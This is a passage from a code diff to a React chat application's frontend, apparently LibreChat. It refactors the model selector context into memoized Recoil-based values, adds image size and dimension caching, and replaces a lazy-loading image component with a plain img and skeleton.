const spec = useRecoilValue(store.conversationSpecByIndex(0));
|
||||||
|
const model = useRecoilValue(store.conversationModelByIndex(0));
|
||||||
|
const agent_id = useRecoilValue(store.conversationAgentIdByIndex(0));
|
||||||
|
const endpoint = useRecoilValue(store.conversationEndpointByIndex(0));
|
||||||
|
const assistant_id = useRecoilValue(store.conversationAssistantIdByIndex(0));
|
||||||
|
|
||||||
|
const newConversationRef = useRef(nextNewConversation);
|
||||||
|
newConversationRef.current = nextNewConversation;
|
||||||
|
const newConversation = useCallback<ConvoGenerator>(
|
||||||
|
(params) => newConversationRef.current(params),
|
||||||
|
[],
|
||||||
|
);
|
||||||
|
|
||||||
/** Context value only created when relevant conversation properties change */
|
/** Context value only created when relevant conversation properties change */
|
||||||
const contextValue = useMemo<ModelSelectorChatContextValue>(
|
const contextValue = useMemo<ModelSelectorChatContextValue>(
|
||||||
() => ({
|
() => ({
|
||||||
endpoint: conversation?.endpoint,
|
model,
|
||||||
model: conversation?.model,
|
spec,
|
||||||
spec: conversation?.spec,
|
agent_id,
|
||||||
agent_id: conversation?.agent_id,
|
endpoint,
|
||||||
assistant_id: conversation?.assistant_id,
|
assistant_id,
|
||||||
conversation,
|
getConversation,
|
||||||
newConversation,
|
newConversation,
|
||||||
}),
|
}),
|
||||||
[conversation, newConversation],
|
[endpoint, model, spec, agent_id, assistant_id, getConversation, newConversation],
|
||||||
);
|
);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
|
|
|
||||||
|
|
@ -58,7 +58,7 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
|
||||||
const agentsMap = useAgentsMapContext();
|
const agentsMap = useAgentsMapContext();
|
||||||
const assistantsMap = useAssistantsMapContext();
|
const assistantsMap = useAssistantsMapContext();
|
||||||
const { data: endpointsConfig } = useGetEndpointsQuery();
|
const { data: endpointsConfig } = useGetEndpointsQuery();
|
||||||
const { endpoint, model, spec, agent_id, assistant_id, conversation, newConversation } =
|
const { endpoint, model, spec, agent_id, assistant_id, getConversation, newConversation } =
|
||||||
useModelSelectorChatContext();
|
useModelSelectorChatContext();
|
||||||
const localize = useLocalize();
|
const localize = useLocalize();
|
||||||
const { announcePolite } = useLiveAnnouncer();
|
const { announcePolite } = useLiveAnnouncer();
|
||||||
|
|
@ -114,7 +114,7 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
|
||||||
const { onSelectEndpoint, onSelectSpec } = useSelectMention({
|
const { onSelectEndpoint, onSelectSpec } = useSelectMention({
|
||||||
// presets,
|
// presets,
|
||||||
modelSpecs,
|
modelSpecs,
|
||||||
conversation,
|
getConversation,
|
||||||
assistantsMap,
|
assistantsMap,
|
||||||
endpointsConfig,
|
endpointsConfig,
|
||||||
newConversation,
|
newConversation,
|
||||||
|
|
@ -171,90 +171,115 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
|
||||||
}, 200),
|
}, 200),
|
||||||
[],
|
[],
|
||||||
);
|
);
|
||||||
const setEndpointSearchValue = (endpoint: string, value: string) => {
|
const setEndpointSearchValue = useCallback((endpoint: string, value: string) => {
|
||||||
setEndpointSearchValues((prev) => ({
|
setEndpointSearchValues((prev) => ({
|
||||||
...prev,
|
...prev,
|
||||||
[endpoint]: value,
|
[endpoint]: value,
|
||||||
}));
|
}));
|
||||||
};
|
}, []);
|
||||||
|
|
||||||
const handleSelectSpec = (spec: t.TModelSpec) => {
|
const handleSelectSpec = useCallback(
|
||||||
let model = spec.preset.model ?? null;
|
(spec: t.TModelSpec) => {
|
||||||
onSelectSpec?.(spec);
|
let model = spec.preset.model ?? null;
|
||||||
if (isAgentsEndpoint(spec.preset.endpoint)) {
|
onSelectSpec?.(spec);
|
||||||
model = spec.preset.agent_id ?? '';
|
if (isAgentsEndpoint(spec.preset.endpoint)) {
|
||||||
} else if (isAssistantsEndpoint(spec.preset.endpoint)) {
|
model = spec.preset.agent_id ?? '';
|
||||||
model = spec.preset.assistant_id ?? '';
|
} else if (isAssistantsEndpoint(spec.preset.endpoint)) {
|
||||||
}
|
model = spec.preset.assistant_id ?? '';
|
||||||
setSelectedValues({
|
}
|
||||||
endpoint: spec.preset.endpoint,
|
setSelectedValues({
|
||||||
model,
|
endpoint: spec.preset.endpoint,
|
||||||
modelSpec: spec.name,
|
model,
|
||||||
});
|
modelSpec: spec.name,
|
||||||
};
|
});
|
||||||
|
},
|
||||||
|
[onSelectSpec],
|
||||||
|
);
|
||||||
|
|
||||||
const handleSelectEndpoint = (endpoint: Endpoint) => {
|
const handleSelectEndpoint = useCallback(
|
||||||
if (!endpoint.hasModels) {
|
(endpoint: Endpoint) => {
|
||||||
if (endpoint.value) {
|
if (!endpoint.hasModels) {
|
||||||
onSelectEndpoint?.(endpoint.value);
|
if (endpoint.value) {
|
||||||
|
onSelectEndpoint?.(endpoint.value);
|
||||||
|
}
|
||||||
|
setSelectedValues({
|
||||||
|
endpoint: endpoint.value,
|
||||||
|
model: '',
|
||||||
|
modelSpec: '',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
},
|
||||||
|
[onSelectEndpoint],
|
||||||
|
);
|
||||||
|
|
||||||
|
const handleSelectModel = useCallback(
|
||||||
|
(endpoint: Endpoint, model: string) => {
|
||||||
|
if (isAgentsEndpoint(endpoint.value)) {
|
||||||
|
onSelectEndpoint?.(endpoint.value, {
|
||||||
|
agent_id: model,
|
||||||
|
model: agentsMap?.[model]?.model ?? '',
|
||||||
|
});
|
||||||
|
} else if (isAssistantsEndpoint(endpoint.value)) {
|
||||||
|
onSelectEndpoint?.(endpoint.value, {
|
||||||
|
assistant_id: model,
|
||||||
|
model: assistantsMap?.[endpoint.value]?.[model]?.model ?? '',
|
||||||
|
});
|
||||||
|
} else if (endpoint.value) {
|
||||||
|
onSelectEndpoint?.(endpoint.value, { model });
|
||||||
}
|
}
|
||||||
setSelectedValues({
|
setSelectedValues({
|
||||||
endpoint: endpoint.value,
|
endpoint: endpoint.value,
|
||||||
model: '',
|
model,
|
||||||
modelSpec: '',
|
modelSpec: '',
|
||||||
});
|
});
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
const handleSelectModel = (endpoint: Endpoint, model: string) => {
|
const modelDisplayName = getModelDisplayName(endpoint, model);
|
||||||
if (isAgentsEndpoint(endpoint.value)) {
|
const announcement = localize('com_ui_model_selected', { 0: modelDisplayName });
|
||||||
onSelectEndpoint?.(endpoint.value, {
|
announcePolite({ message: announcement, isStatus: true });
|
||||||
agent_id: model,
|
},
|
||||||
model: agentsMap?.[model]?.model ?? '',
|
[agentsMap, announcePolite, assistantsMap, getModelDisplayName, localize, onSelectEndpoint],
|
||||||
});
|
);
|
||||||
} else if (isAssistantsEndpoint(endpoint.value)) {
|
|
||||||
onSelectEndpoint?.(endpoint.value, {
|
|
||||||
assistant_id: model,
|
|
||||||
model: assistantsMap?.[endpoint.value]?.[model]?.model ?? '',
|
|
||||||
});
|
|
||||||
} else if (endpoint.value) {
|
|
||||||
onSelectEndpoint?.(endpoint.value, { model });
|
|
||||||
}
|
|
||||||
setSelectedValues({
|
|
||||||
endpoint: endpoint.value,
|
|
||||||
model,
|
|
||||||
modelSpec: '',
|
|
||||||
});
|
|
||||||
|
|
||||||
const modelDisplayName = getModelDisplayName(endpoint, model);
|
const value = useMemo(
|
||||||
const announcement = localize('com_ui_model_selected', { 0: modelDisplayName });
|
() => ({
|
||||||
announcePolite({ message: announcement, isStatus: true });
|
searchValue,
|
||||||
};
|
searchResults,
|
||||||
|
selectedValues,
|
||||||
const value = {
|
endpointSearchValues,
|
||||||
// State
|
agentsMap,
|
||||||
searchValue,
|
modelSpecs,
|
||||||
searchResults,
|
assistantsMap,
|
||||||
selectedValues,
|
mappedEndpoints,
|
||||||
endpointSearchValues,
|
endpointsConfig,
|
||||||
// LibreChat
|
handleSelectSpec,
|
||||||
agentsMap,
|
handleSelectModel,
|
||||||
modelSpecs,
|
setSelectedValues,
|
||||||
assistantsMap,
|
handleSelectEndpoint,
|
||||||
mappedEndpoints,
|
setEndpointSearchValue,
|
||||||
endpointsConfig,
|
endpointRequiresUserKey,
|
||||||
|
setSearchValue: setDebouncedSearchValue,
|
||||||
// Functions
|
...keyProps,
|
||||||
handleSelectSpec,
|
}),
|
||||||
handleSelectModel,
|
[
|
||||||
setSelectedValues,
|
searchValue,
|
||||||
handleSelectEndpoint,
|
searchResults,
|
||||||
setEndpointSearchValue,
|
selectedValues,
|
||||||
endpointRequiresUserKey,
|
endpointSearchValues,
|
||||||
setSearchValue: setDebouncedSearchValue,
|
agentsMap,
|
||||||
// Dialog
|
modelSpecs,
|
||||||
...keyProps,
|
assistantsMap,
|
||||||
};
|
mappedEndpoints,
|
||||||
|
endpointsConfig,
|
||||||
|
handleSelectSpec,
|
||||||
|
handleSelectModel,
|
||||||
|
setSelectedValues,
|
||||||
|
handleSelectEndpoint,
|
||||||
|
setEndpointSearchValue,
|
||||||
|
endpointRequiresUserKey,
|
||||||
|
setDebouncedSearchValue,
|
||||||
|
keyProps,
|
||||||
|
],
|
||||||
|
);
|
||||||
|
|
||||||
return <ModelSelectorContext.Provider value={value}>{children}</ModelSelectorContext.Provider>;
|
return <ModelSelectorContext.Provider value={value}>{children}</ModelSelectorContext.Provider>;
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,14 +1,16 @@
|
||||||
import { QueryKeys } from 'librechat-data-provider';
|
import { QueryKeys } from 'librechat-data-provider';
|
||||||
|
import { useRecoilValue } from 'recoil';
|
||||||
import { useQueryClient } from '@tanstack/react-query';
|
import { useQueryClient } from '@tanstack/react-query';
|
||||||
import { TooltipAnchor, Button, NewChatIcon } from '@librechat/client';
|
import { TooltipAnchor, Button, NewChatIcon } from '@librechat/client';
|
||||||
import { useChatContext } from '~/Providers';
|
import { useNewConvo, useLocalize } from '~/hooks';
|
||||||
import { clearMessagesCache } from '~/utils';
|
import { clearMessagesCache } from '~/utils';
|
||||||
import { useLocalize } from '~/hooks';
|
import store from '~/store';
|
||||||
|
|
||||||
export default function HeaderNewChat() {
|
export default function HeaderNewChat() {
|
||||||
const localize = useLocalize();
|
const localize = useLocalize();
|
||||||
const queryClient = useQueryClient();
|
const queryClient = useQueryClient();
|
||||||
const { conversation, newConversation } = useChatContext();
|
const { newConversation } = useNewConvo();
|
||||||
|
const conversation = useRecoilValue(store.conversationByIndex(0));
|
||||||
|
|
||||||
const clickHandler: React.MouseEventHandler<HTMLButtonElement> = (e) => {
|
const clickHandler: React.MouseEventHandler<HTMLButtonElement> = (e) => {
|
||||||
if (e.button === 0 && (e.ctrlKey || e.metaKey)) {
|
if (e.button === 0 && (e.ctrlKey || e.metaKey)) {
|
||||||
|
|
|
||||||
|
|
@ -1,4 +1,5 @@
|
||||||
import { useRef } from 'react';
|
import { useRef } from 'react';
|
||||||
|
import { useRecoilValue } from 'recoil';
|
||||||
import { Trans } from 'react-i18next';
|
import { Trans } from 'react-i18next';
|
||||||
import { BookCopy } from 'lucide-react';
|
import { BookCopy } from 'lucide-react';
|
||||||
import { Content, Portal, Root, Trigger } from '@radix-ui/react-popover';
|
import { Content, Portal, Root, Trigger } from '@radix-ui/react-popover';
|
||||||
|
|
@ -13,7 +14,7 @@ import {
|
||||||
import type { FC } from 'react';
|
import type { FC } from 'react';
|
||||||
import { EditPresetDialog, PresetItems } from './Presets';
|
import { EditPresetDialog, PresetItems } from './Presets';
|
||||||
import { useLocalize, usePresets } from '~/hooks';
|
import { useLocalize, usePresets } from '~/hooks';
|
||||||
import { useChatContext } from '~/Providers';
|
import store from '~/store';
|
||||||
|
|
||||||
const PresetsMenu: FC = () => {
|
const PresetsMenu: FC = () => {
|
||||||
const localize = useLocalize();
|
const localize = useLocalize();
|
||||||
|
|
@ -33,7 +34,7 @@ const PresetsMenu: FC = () => {
|
||||||
presetToDelete,
|
presetToDelete,
|
||||||
confirmDeletePreset,
|
confirmDeletePreset,
|
||||||
} = usePresets();
|
} = usePresets();
|
||||||
const { preset } = useChatContext();
|
const preset = useRecoilValue(store.presetByIndex(0));
|
||||||
|
|
||||||
const handleDeleteDialogChange = (open: boolean) => {
|
const handleDeleteDialogChange = (open: boolean) => {
|
||||||
setShowDeleteDialog(open);
|
setShowDeleteDialog(open);
|
||||||
|
|
|
||||||
|
|
@ -15,6 +15,61 @@ import Sources from '~/components/Web/Sources';
|
||||||
import Container from './Container';
|
import Container from './Container';
|
||||||
import Part from './Part';
|
import Part from './Part';
|
||||||
|
|
||||||
|
type PartWithContextProps = {
|
||||||
|
part: TMessageContentParts;
|
||||||
|
idx: number;
|
||||||
|
isLastPart: boolean;
|
||||||
|
messageId: string;
|
||||||
|
conversationId?: string | null;
|
||||||
|
nextType?: string;
|
||||||
|
isSubmitting: boolean;
|
||||||
|
isLatestMessage?: boolean;
|
||||||
|
isCreatedByUser: boolean;
|
||||||
|
isLast: boolean;
|
||||||
|
partAttachments: TAttachment[] | undefined;
|
||||||
|
};
|
||||||
|
|
||||||
|
const PartWithContext = memo(function PartWithContext({
|
||||||
|
part,
|
||||||
|
idx,
|
||||||
|
isLastPart,
|
||||||
|
messageId,
|
||||||
|
conversationId,
|
||||||
|
nextType,
|
||||||
|
isSubmitting,
|
||||||
|
isLatestMessage,
|
||||||
|
isCreatedByUser,
|
||||||
|
isLast,
|
||||||
|
partAttachments,
|
||||||
|
}: PartWithContextProps) {
|
||||||
|
const contextValue = useMemo(
|
||||||
|
() => ({
|
||||||
|
messageId,
|
||||||
|
isExpanded: true as const,
|
||||||
|
conversationId,
|
||||||
|
partIndex: idx,
|
||||||
|
nextType,
|
||||||
|
isSubmitting,
|
||||||
|
isLatestMessage,
|
||||||
|
}),
|
||||||
|
[messageId, conversationId, idx, nextType, isSubmitting, isLatestMessage],
|
||||||
|
);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<MessageContext.Provider value={contextValue}>
|
||||||
|
<Part
|
||||||
|
part={part}
|
||||||
|
attachments={partAttachments}
|
||||||
|
isSubmitting={isSubmitting}
|
||||||
|
key={`part-${messageId}-${idx}`}
|
||||||
|
isCreatedByUser={isCreatedByUser}
|
||||||
|
isLast={isLastPart}
|
||||||
|
showCursor={isLastPart && isLast}
|
||||||
|
/>
|
||||||
|
</MessageContext.Provider>
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
type ContentPartsProps = {
|
type ContentPartsProps = {
|
||||||
content: Array<TMessageContentParts | undefined> | undefined;
|
content: Array<TMessageContentParts | undefined> | undefined;
|
||||||
messageId: string;
|
messageId: string;
|
||||||
|
|
@ -58,37 +113,24 @@ const ContentParts = memo(function ContentParts({
|
||||||
const attachmentMap = useMemo(() => mapAttachments(attachments ?? []), [attachments]);
|
const attachmentMap = useMemo(() => mapAttachments(attachments ?? []), [attachments]);
|
||||||
const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
|
const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
|
||||||
|
|
||||||
/**
|
|
||||||
* Render a single content part with proper context.
|
|
||||||
*/
|
|
||||||
const renderPart = useCallback(
|
const renderPart = useCallback(
|
||||||
(part: TMessageContentParts, idx: number, isLastPart: boolean) => {
|
(part: TMessageContentParts, idx: number, isLastPart: boolean) => {
|
||||||
const toolCallId = (part?.[ContentTypes.TOOL_CALL] as Agents.ToolCall | undefined)?.id ?? '';
|
const toolCallId = (part?.[ContentTypes.TOOL_CALL] as Agents.ToolCall | undefined)?.id ?? '';
|
||||||
const partAttachments = attachmentMap[toolCallId];
|
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<MessageContext.Provider
|
<PartWithContext
|
||||||
key={`provider-${messageId}-${idx}`}
|
key={`provider-${messageId}-${idx}`}
|
||||||
value={{
|
idx={idx}
|
||||||
messageId,
|
part={part}
|
||||||
isExpanded: true,
|
isLast={isLast}
|
||||||
conversationId,
|
messageId={messageId}
|
||||||
partIndex: idx,
|
isLastPart={isLastPart}
|
||||||
nextType: content?.[idx + 1]?.type,
|
conversationId={conversationId}
|
||||||
isSubmitting: effectiveIsSubmitting,
|
isLatestMessage={isLatestMessage}
|
||||||
isLatestMessage,
|
isCreatedByUser={isCreatedByUser}
|
||||||
}}
|
nextType={content?.[idx + 1]?.type}
|
||||||
>
|
isSubmitting={effectiveIsSubmitting}
|
||||||
<Part
|
partAttachments={attachmentMap[toolCallId]}
|
||||||
part={part}
|
/>
|
||||||
attachments={partAttachments}
|
|
||||||
isSubmitting={effectiveIsSubmitting}
|
|
||||||
key={`part-${messageId}-${idx}`}
|
|
||||||
isCreatedByUser={isCreatedByUser}
|
|
||||||
isLast={isLastPart}
|
|
||||||
showCursor={isLastPart && isLast}
|
|
||||||
/>
|
|
||||||
</MessageContext.Provider>
|
|
||||||
);
|
);
|
||||||
},
|
},
|
||||||
[
|
[
|
||||||
|
|
|
||||||
|
|
@ -4,6 +4,8 @@ import { Button, TooltipAnchor } from '@librechat/client';
|
||||||
import { X, ArrowDownToLine, PanelLeftOpen, PanelLeftClose, RotateCcw } from 'lucide-react';
|
import { X, ArrowDownToLine, PanelLeftOpen, PanelLeftClose, RotateCcw } from 'lucide-react';
|
||||||
import { useLocalize } from '~/hooks';
|
import { useLocalize } from '~/hooks';
|
||||||
|
|
||||||
|
const imageSizeCache = new Map<string, string>();
|
||||||
|
|
||||||
const getQualityStyles = (quality: string): string => {
|
const getQualityStyles = (quality: string): string => {
|
||||||
if (quality === 'high') {
|
if (quality === 'high') {
|
||||||
return 'bg-green-100 text-green-800';
|
return 'bg-green-100 text-green-800';
|
||||||
|
|
@ -50,18 +52,26 @@ export default function DialogImage({
|
||||||
const closeButtonRef = useRef<HTMLButtonElement>(null);
|
const closeButtonRef = useRef<HTMLButtonElement>(null);
|
||||||
|
|
||||||
const getImageSize = useCallback(async (url: string) => {
|
const getImageSize = useCallback(async (url: string) => {
|
||||||
|
const cached = imageSizeCache.get(url);
|
||||||
|
if (cached) {
|
||||||
|
return cached;
|
||||||
|
}
|
||||||
try {
|
try {
|
||||||
const response = await fetch(url, { method: 'HEAD' });
|
const response = await fetch(url, { method: 'HEAD' });
|
||||||
const contentLength = response.headers.get('Content-Length');
|
const contentLength = response.headers.get('Content-Length');
|
||||||
|
|
||||||
if (contentLength) {
|
if (contentLength) {
|
||||||
const bytes = parseInt(contentLength, 10);
|
const bytes = parseInt(contentLength, 10);
|
||||||
return formatFileSize(bytes);
|
const result = formatFileSize(bytes);
|
||||||
|
imageSizeCache.set(url, result);
|
||||||
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
const fullResponse = await fetch(url);
|
const fullResponse = await fetch(url);
|
||||||
const blob = await fullResponse.blob();
|
const blob = await fullResponse.blob();
|
||||||
return formatFileSize(blob.size);
|
const result = formatFileSize(blob.size);
|
||||||
|
imageSizeCache.set(url, result);
|
||||||
|
return result;
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('Error getting image size:', error);
|
console.error('Error getting image size:', error);
|
||||||
return null;
|
return null;
|
||||||
|
|
@ -355,6 +365,7 @@ export default function DialogImage({
|
||||||
ref={imageRef}
|
ref={imageRef}
|
||||||
src={src}
|
src={src}
|
||||||
alt="Image"
|
alt="Image"
|
||||||
|
decoding="async"
|
||||||
className="block max-h-[85vh] object-contain"
|
className="block max-h-[85vh] object-contain"
|
||||||
style={{
|
style={{
|
||||||
maxWidth: getImageMaxWidth(),
|
maxWidth: getImageMaxWidth(),
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,7 @@
|
||||||
import { useMemo, memo } from 'react';
|
import { useMemo, memo } from 'react';
|
||||||
import type { TFile, TMessage } from 'librechat-data-provider';
|
import type { TFile, TMessage } from 'librechat-data-provider';
|
||||||
import FileContainer from '~/components/Chat/Input/Files/FileContainer';
|
import FileContainer from '~/components/Chat/Input/Files/FileContainer';
|
||||||
|
import { getCachedPreview } from '~/utils';
|
||||||
import Image from './Image';
|
import Image from './Image';
|
||||||
|
|
||||||
const Files = ({ message }: { message?: TMessage }) => {
|
const Files = ({ message }: { message?: TMessage }) => {
|
||||||
|
|
@ -17,21 +18,18 @@ const Files = ({ message }: { message?: TMessage }) => {
|
||||||
{otherFiles.length > 0 &&
|
{otherFiles.length > 0 &&
|
||||||
otherFiles.map((file) => <FileContainer key={file.file_id} file={file as TFile} />)}
|
otherFiles.map((file) => <FileContainer key={file.file_id} file={file as TFile} />)}
|
||||||
{imageFiles.length > 0 &&
|
{imageFiles.length > 0 &&
|
||||||
imageFiles.map((file) => (
|
imageFiles.map((file) => {
|
||||||
<Image
|
const cached = file.file_id ? getCachedPreview(file.file_id) : undefined;
|
||||||
key={file.file_id}
|
return (
|
||||||
imagePath={file.preview ?? file.filepath ?? ''}
|
<Image
|
||||||
height={file.height ?? 1920}
|
key={file.file_id}
|
||||||
width={file.width ?? 1080}
|
width={file.width}
|
||||||
altText={file.filename ?? 'Uploaded Image'}
|
height={file.height}
|
||||||
placeholderDimensions={{
|
altText={file.filename ?? 'Uploaded Image'}
|
||||||
height: `${file.height ?? 1920}px`,
|
imagePath={cached ?? file.preview ?? file.filepath ?? ''}
|
||||||
width: `${file.height ?? 1080}px`,
|
/>
|
||||||
}}
|
);
|
||||||
// n={imageFiles.length}
|
})}
|
||||||
// i={i}
|
|
||||||
/>
|
|
||||||
))}
|
|
||||||
</>
|
</>
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
|
|
|
||||||
|
|
@ -1,27 +1,39 @@
|
||||||
import React, { useState, useRef, useMemo } from 'react';
|
import React, { useState, useRef, useMemo, useEffect } from 'react';
|
||||||
import { Skeleton } from '@librechat/client';
|
import { Skeleton } from '@librechat/client';
|
||||||
import { LazyLoadImage } from 'react-lazy-load-image-component';
|
|
||||||
import { apiBaseUrl } from 'librechat-data-provider';
|
import { apiBaseUrl } from 'librechat-data-provider';
|
||||||
import { cn, scaleImage } from '~/utils';
|
|
||||||
import DialogImage from './DialogImage';
|
import DialogImage from './DialogImage';
|
||||||
|
import { cn } from '~/utils';
|
||||||
|
|
||||||
|
/** Max display height for chat images (Tailwind JIT class) */
|
||||||
|
export const IMAGE_MAX_H = 'max-h-[45vh]' as const;
|
||||||
|
/** Matches the `max-w-lg` Tailwind class on the wrapper button (32rem = 512px at 16px base) */
|
||||||
|
const IMAGE_MAX_W_PX = 512;
|
||||||
|
|
||||||
|
/** Caches image dimensions by src so remounts can reserve space */
|
||||||
|
const dimensionCache = new Map<string, { width: number; height: number }>();
|
||||||
|
/** Tracks URLs that have been fully painted — skip skeleton on remount */
|
||||||
|
const paintedUrls = new Set<string>();
|
||||||
|
|
||||||
|
/** Test-only: resets module-level caches */
|
||||||
|
export function _resetImageCaches(): void {
|
||||||
|
dimensionCache.clear();
|
||||||
|
paintedUrls.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
function computeHeightStyle(w: number, h: number): React.CSSProperties {
|
||||||
|
return { height: `min(45vh, ${(h / w) * 100}vw, ${(h / w) * IMAGE_MAX_W_PX}px)` };
|
||||||
|
}
|
||||||
|
|
||||||
const Image = ({
|
const Image = ({
|
||||||
imagePath,
|
imagePath,
|
||||||
altText,
|
altText,
|
||||||
height,
|
|
||||||
width,
|
|
||||||
placeholderDimensions,
|
|
||||||
className,
|
className,
|
||||||
args,
|
args,
|
||||||
|
width,
|
||||||
|
height,
|
||||||
}: {
|
}: {
|
||||||
imagePath: string;
|
imagePath: string;
|
||||||
altText: string;
|
altText: string;
|
||||||
height: number;
|
|
||||||
width: number;
|
|
||||||
placeholderDimensions?: {
|
|
||||||
height?: string;
|
|
||||||
width?: string;
|
|
||||||
};
|
|
||||||
className?: string;
|
className?: string;
|
||||||
args?: {
|
args?: {
|
||||||
prompt?: string;
|
prompt?: string;
|
||||||
|
|
@ -30,19 +42,15 @@ const Image = ({
|
||||||
style?: string;
|
style?: string;
|
||||||
[key: string]: unknown;
|
[key: string]: unknown;
|
||||||
};
|
};
|
||||||
|
width?: number;
|
||||||
|
height?: number;
|
||||||
}) => {
|
}) => {
|
||||||
const [isOpen, setIsOpen] = useState(false);
|
const [isOpen, setIsOpen] = useState(false);
|
||||||
const [isLoaded, setIsLoaded] = useState(false);
|
|
||||||
const containerRef = useRef<HTMLDivElement>(null);
|
|
||||||
const triggerRef = useRef<HTMLButtonElement>(null);
|
const triggerRef = useRef<HTMLButtonElement>(null);
|
||||||
|
|
||||||
const handleImageLoad = () => setIsLoaded(true);
|
|
||||||
|
|
||||||
// Fix image path to include base path for subdirectory deployments
|
|
||||||
const absoluteImageUrl = useMemo(() => {
|
const absoluteImageUrl = useMemo(() => {
|
||||||
if (!imagePath) return imagePath;
|
if (!imagePath) return imagePath;
|
||||||
|
|
||||||
// If it's already an absolute URL or doesn't start with /images/, return as is
|
|
||||||
if (
|
if (
|
||||||
imagePath.startsWith('http') ||
|
imagePath.startsWith('http') ||
|
||||||
imagePath.startsWith('data:') ||
|
imagePath.startsWith('data:') ||
|
||||||
|
|
@ -51,21 +59,10 @@ const Image = ({
|
||||||
return imagePath;
|
return imagePath;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get the base URL and prepend it to the image path
|
|
||||||
const baseURL = apiBaseUrl();
|
const baseURL = apiBaseUrl();
|
||||||
return `${baseURL}${imagePath}`;
|
return `${baseURL}${imagePath}`;
|
||||||
}, [imagePath]);
|
}, [imagePath]);
|
||||||
|
|
||||||
const { width: scaledWidth, height: scaledHeight } = useMemo(
|
|
||||||
() =>
|
|
||||||
scaleImage({
|
|
||||||
originalWidth: Number(placeholderDimensions?.width?.split('px')[0] ?? width),
|
|
||||||
originalHeight: Number(placeholderDimensions?.height?.split('px')[0] ?? height),
|
|
||||||
containerRef,
|
|
||||||
}),
|
|
||||||
[placeholderDimensions, height, width],
|
|
||||||
);
|
|
||||||
|
|
||||||
const downloadImage = async () => {
|
const downloadImage = async () => {
|
||||||
try {
|
try {
|
||||||
const response = await fetch(absoluteImageUrl);
|
const response = await fetch(absoluteImageUrl);
|
||||||
|
|
@ -95,8 +92,19 @@ const Image = ({
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (width && height && absoluteImageUrl) {
|
||||||
|
dimensionCache.set(absoluteImageUrl, { width, height });
|
||||||
|
}
|
||||||
|
}, [absoluteImageUrl, width, height]);
|
||||||
|
|
||||||
|
const dims = width && height ? { width, height } : dimensionCache.get(absoluteImageUrl);
|
||||||
|
const hasDimensions = !!(dims?.width && dims?.height);
|
||||||
|
const heightStyle = hasDimensions ? computeHeightStyle(dims.width, dims.height) : undefined;
|
||||||
|
const showSkeleton = hasDimensions && !paintedUrls.has(absoluteImageUrl);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div ref={containerRef}>
|
<div>
|
||||||
<button
|
<button
|
||||||
ref={triggerRef}
|
ref={triggerRef}
|
||||||
type="button"
|
type="button"
|
||||||
|
|
@ -104,45 +112,33 @@ const Image = ({
|
||||||
aria-haspopup="dialog"
|
aria-haspopup="dialog"
|
||||||
onClick={() => setIsOpen(true)}
|
onClick={() => setIsOpen(true)}
|
||||||
className={cn(
|
className={cn(
|
||||||
'relative mt-1 flex h-auto w-full max-w-lg cursor-pointer items-center justify-center overflow-hidden rounded-lg border border-border-light text-text-secondary-alt shadow-md transition-shadow',
|
'relative mt-1 w-full max-w-lg cursor-pointer overflow-hidden rounded-lg border border-border-light text-text-secondary-alt shadow-md transition-shadow',
|
||||||
'focus:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-surface-primary',
|
'focus:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-surface-primary',
|
||||||
className,
|
className,
|
||||||
)}
|
)}
|
||||||
|
style={heightStyle}
|
||||||
>
|
>
|
||||||
<LazyLoadImage
|
{showSkeleton && <Skeleton className="absolute inset-0" aria-hidden="true" />}
|
||||||
|
<img
|
||||||
alt={altText}
|
alt={altText}
|
||||||
onLoad={handleImageLoad}
|
|
||||||
visibleByDefault={true}
|
|
||||||
className={cn(
|
|
||||||
'opacity-100 transition-opacity duration-100',
|
|
||||||
isLoaded ? 'opacity-100' : 'opacity-0',
|
|
||||||
)}
|
|
||||||
src={absoluteImageUrl}
|
src={absoluteImageUrl}
|
||||||
style={{
|
onLoad={() => paintedUrls.add(absoluteImageUrl)}
|
||||||
width: `${scaledWidth}`,
|
className={cn(
|
||||||
height: 'auto',
|
'relative block text-transparent',
|
||||||
color: 'transparent',
|
hasDimensions
|
||||||
display: 'block',
|
? 'size-full object-contain'
|
||||||
}}
|
: cn('h-auto w-auto max-w-full', IMAGE_MAX_H),
|
||||||
placeholder={
|
)}
|
||||||
<Skeleton
|
|
||||||
className={cn('h-auto w-full', `h-[${scaledHeight}] w-[${scaledWidth}]`)}
|
|
||||||
aria-label="Loading image"
|
|
||||||
aria-busy="true"
|
|
||||||
/>
|
|
||||||
}
|
|
||||||
/>
|
/>
|
||||||
</button>
|
</button>
|
||||||
{isLoaded && (
|
<DialogImage
|
||||||
<DialogImage
|
isOpen={isOpen}
|
||||||
isOpen={isOpen}
|
onOpenChange={setIsOpen}
|
||||||
onOpenChange={setIsOpen}
|
src={absoluteImageUrl}
|
||||||
src={absoluteImageUrl}
|
downloadImage={downloadImage}
|
||||||
downloadImage={downloadImage}
|
args={args}
|
||||||
args={args}
|
triggerRef={triggerRef}
|
||||||
triggerRef={triggerRef}
|
/>
|
||||||
/>
|
|
||||||
)}
|
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
|
|
|
||||||
|
|
@ -27,7 +27,7 @@ type TContentProps = {
|
||||||
isLatestMessage: boolean;
|
isLatestMessage: boolean;
|
||||||
};
|
};
|
||||||
|
|
||||||
